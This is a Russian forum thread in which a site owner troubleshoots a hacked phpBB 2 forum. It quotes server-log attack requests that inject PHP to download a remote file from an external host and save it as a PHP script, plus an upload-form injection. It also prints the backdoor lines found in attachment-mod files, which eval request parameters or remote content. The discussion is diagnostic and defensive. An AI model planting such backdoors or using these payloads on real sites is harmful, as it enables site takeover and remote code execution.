такая уязвимость в phpbb 2 как лечится?

vga1
На сайте с 18.02.2007
Offline
251
1349

Приветcтвую!

Такой лом phpbb 2 форума как лечится?

Смотрю, передача параметров идет через разные файлы

lang_main_attach.php

functions_selects.php,

значит дыра не в этих файлах, а каком то общем модуле. Закачивают exploit.

Кто-нибудь встречал?

Для безопасности быстро вынес эти форумы на отдельный хостинг, пока дыру не прикрою.

Переходить на phpbb 3 не советуйте, надо в этой версии дырку найти.

[28/Jan/2013:17:43:34 +0300] "GET /attachment_mod/language/lang_english/lang_main_attach.php?pa=sum&co=copy(%22http://expokama.ru/cfg/img/RT/base.txt%22,%22base.txt%22);rename(%22base.txt%22,%20%22base.php%22); HTTP/1.1" 301 436 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko1/x20100101 Firefox/5.02011-10-16 20:21:42"


[28/Jan/2013:18:43:53 +0400] "GET /attach_mod/includes/functions_selects.php?pa=1 HTTP/1.0" 200 0 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko1/x20100101 Firefox/5.02011-10-16 20:21:42"

[24/Jan/2013:15:53:35 +0300] "GET /profile.php?mode=editprofile&e=print%28$_GET[t]%29;if%28isset%28$_POST[go_up]%29%29{if%28is_uploaded_file%28$_FILES[userfile][tmp_name]%29%29{@copy%28$_FILES[userfile][tmp_name],$_FILES[userfile][name]%29;}};exit;&t=%3Cform%20enctype=multipart/form-data%20method=post%3E%3Cinput%20name=userfile%20type=file%3E%3Cinput%20type=submit%20name=go_up%3E%3C/form%3E HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0"



siv1987
На сайте с 02.04.2009
Offline
427
#1

А у вы уверены что это уязвимость? Вы ее проверяли, на сайте появлялись посторонние файлы? В багтрекере смотрели по поводу патчей для этой линейки? Это может быть и бэкдор или шелл в скриптах, уж больно параметры не соответствующие

vga1
На сайте с 18.02.2007
Offline
251
#2
siv1987:
А у вы уверены что это уязвимость? Вы ее проверяли, на сайте появлялись посторонние файлы? В багтрекере смотрели по поводу патчей для этой линейки? Это может быть и бэкдор или шелл в скриптах, уж больно параметры не соответствующие

Да, ехплоит заливаются, активность хацкера по логам видна.

phpbb проапдейчен 2.0.21

Возможно бекдор и залит давно, но чекал последним айболитом.

Мне не понятно, как стало возможно выполнять такие команды:

lang_main_attach.php?pa=sum&co=copy(%22http://expokama.ru/cfg/img/RT/base.txt%22,%22base.txt%22);rename(%22base.txt%22,%20%22base.php%22);

Милованов Ю.С
На сайте с 24.01.2008
Offline
196
#3

<?php

exec(<?php $GET['co'] ?>);

?>

Как-то так.

Подпись))
siv1987
На сайте с 02.04.2009
Offline
427
#4
vga1:
Возможно бекдор и залит давно, но чекал последним айболитом.

тогда нужно визуально рассматривать все подключаемые файлы, особое внимание уделяя на зашифрованные участки кода, ну и соответственно тем параметрам по котором обращаются к скрипту. Но уж какие-то они нестандартные, что наталкивает на мысль, что код обрабатывающий их добавленный.

vga1
На сайте с 18.02.2007
Offline
251
#5
Милованов Ю.С:
<?php
exec(<?php $GET['co'] ?>);
?>
Как-то так.

Yes! вот она

if(isset($_GET['pa'])){$pa="sum";if($_REQUEST["pa"]==$pa)eval ( stripslashes($_REQUEST["co"]));die;}


if(isset($_GET['pa'])){eval ( file_get_contents("htt"."p://expo"."kama."."ru/cfg/img/RT/b.d"));die;}
./attach_mod/includes/functions_selects.php
TF-Studio
На сайте с 17.08.2010
Offline
334
#6

Для начала обновиться до 3 версии, благо есть автоматические инструменты для данного действия, потом внести фиксы и модули по желанию.

Всё ещё лучший способ заработка для белых сайтов: GoGetLinks (https://www.gogetlinks.net/?inv=fahbn8).
Alexandr Smolin
На сайте с 22.11.2006
Offline
169
#7
vga1:
Для безопасности быстро вынес эти форумы на отдельный хостинг, пока дыру не прикрою.
Переходить на phpbb 3 не советуйте, надо в этой версии дырку найти.

Пользоваться старым дырявым софтом не рекомендуют даже разработчики онного. Поэтому другого пути у Вас нет.

Восхитительные гео-домены (Россия, Украина, мир) и ключевики с отличной выдержкой. (/ru/forum/778416)

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий